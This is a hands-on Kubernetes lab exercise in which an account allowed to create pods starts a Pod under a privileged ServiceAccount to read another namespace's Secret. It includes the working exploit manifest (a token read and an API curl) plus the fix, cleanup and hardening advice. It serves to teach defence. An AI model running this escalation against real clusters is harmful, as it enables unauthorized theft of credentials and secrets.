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Hands-on IT IT Drills

Day 4: Privilege Escalation via Other ServiceAccounts

Goal: You take over a privileged ServiceAccount with “create pods” – and separate the namespaces. · Duration: approx. 75 min · Prerequisite: Day 3

Briefing

You don’t need Secret permissions to get at Secrets. Being allowed to start a Pod is enough: a Pod runs with the token of its ServiceAccount. So if you may create Pods in a namespace, you can “borrow” any ServiceAccount of that namespace – including a privileged one. This is one of the most common privilege escalations in real clusters, because “may deploy” is often handed out generously.

attacker:default  --(create pods in shop)-->  Pod with SA=deployer
                                                   |
                                          deployer may read shop Secrets

Drill 1: The Starting Point – a Privileged Deployer

In the namespace shop, a ServiceAccount deployer that (like a CI pipeline) may read the Secrets of shop:

kubectl -n shop create secret generic db-credentials \
  --from-literal=password=S3cr3t-lab-pw
kubectl -n shop create serviceaccount deployer

kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: {name: shop-secret-reader, namespace: shop}
rules:
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get","list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: {name: deployer-secrets, namespace: shop}
subjects: [{kind: ServiceAccount, name: deployer, namespace: shop}]
roleRef: {kind: Role, name: shop-secret-reader, apiGroup: rbac.authorization.k8s.io}
EOF

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Drill 2: The Misconfiguration – “May Deploy”

The attacker account gets the permission to create Pods in shop and see their logs – a typical “debug/deploy” bundle:

kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: {name: pod-creator, namespace: shop}
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["create","get","list"]
- apiGroups: [""]
  resources: ["pods/log"]
  verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: {name: attacker-pod-creator, namespace: shop}
subjects: [{kind: ServiceAccount, name: default, namespace: attacker}]
roleRef: {kind: Role, name: pod-creator, apiGroup: rbac.authorization.k8s.io}
EOF

kubectl auth can-i create pods --as=system:serviceaccount:attacker:default -n shop

Expected: yes

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Drill 3: Exploit – Borrowing the deployer

From here on we act with --as, the attacker’s view. You start a Pod in shop with serviceAccountName: deployer – the Pod inherits its token and reads the Secret:

AS="--as=system:serviceaccount:attacker:default"

kubectl $AS -n shop apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: pirate, namespace: shop}
spec:
  serviceAccountName: deployer
  restartPolicy: Never
  containers:
  - name: c
    image: curlimages/curl
    command: ["sh","-c"]
    args:
    - |
      T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
      curl -s -k -H "Authorization: Bearer $T" \
        https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials \
      | grep -oE "\"password\": *\"[^\"]*\"" | sed -E "s/.*\": *\"//;s/\"//" | base64 -d
      echo
EOF

kubectl -n shop wait --for=jsonpath='{.status.phase}'=Succeeded pod/pirate --timeout=60s
kubectl $AS -n shop logs pirate

Expected:

S3cr3t-lab-pw

The attacker never had Secret permissions. They borrowed the identity of the deployer by starting a Pod with its ServiceAccount. “Create pods” in a namespace is as powerful as the most powerful ServiceAccount in it.

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Drill 4: Fix – Separate the Namespaces

The attacker namespace simply may not do anything in shop. Revoke the binding:

kubectl -n shop delete rolebinding attacker-pod-creator
kubectl -n shop delete role pod-creator

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Drill 5: Proof

AS="--as=system:serviceaccount:attacker:default"
kubectl auth can-i create pods $AS -n shop
kubectl $AS -n shop run x --image=curlimages/curl

Expected:

no
Error from server (Forbidden): pods is forbidden: User
"system:serviceaccount:attacker:default" cannot create resource "pods" in API group ""
in the namespace "shop"

Clean up the exercise leftovers:

kubectl -n shop delete pod pirate
kubectl -n shop delete rolebinding deployer-secrets
kubectl -n shop delete role shop-secret-reader
kubectl -n shop delete serviceaccount deployer
kubectl -n shop delete secret db-credentials

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Checkpoint

The attacker account no longer has a single permission in shop:

kubectl auth can-i --list --as=system:serviceaccount:attacker:default -n shop \
  | grep -E '^(pods|secrets)' || echo "keine Rechte auf pods/secrets"

Expected: keine Rechte auf pods/secrets

Challenge

Even within a namespace, “create pods” is dangerous if a SA with more permissions lives there. Find out which ServiceAccount in kube-system has the most permissions – that would be the loot with create pods in kube-system.

Hint: kubectl auth can-i --list --as=… shows per account what it may do; compare two or three candidates.

Solution

for sa in clusterrole-aggregation-controller generic-garbage-collector namespace-controller; do
  n=$(kubectl auth can-i --list \
        --as=system:serviceaccount:kube-system:$sa 2>/dev/null | wc -l)
  echo "$sa: $n Regelzeilen"
done

Expected: accounts such as clusterrole-aggregation-controller or generic-garbage-collector have conspicuously many permissions. That is why create pods in kube-system must never go to a workload.

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Enterprise Note

  • create pods (also via deployments, jobs, cronjobs, daemonsets) is effectively privilege escalation to every SA of the namespace. Grant it as narrowly as possible.
  • With Pod Security Admission (Day 5) and Kyverno (Day 12) you can additionally restrict which ServiceAccounts a Pod may use.
  • Separate tenants into their own namespaces and bind permissions strictly namespaced; no account should have permissions in another namespace.
  • CI/deployer accounts belong in their own namespace with a narrowly scoped Role – not next to the workloads they roll out.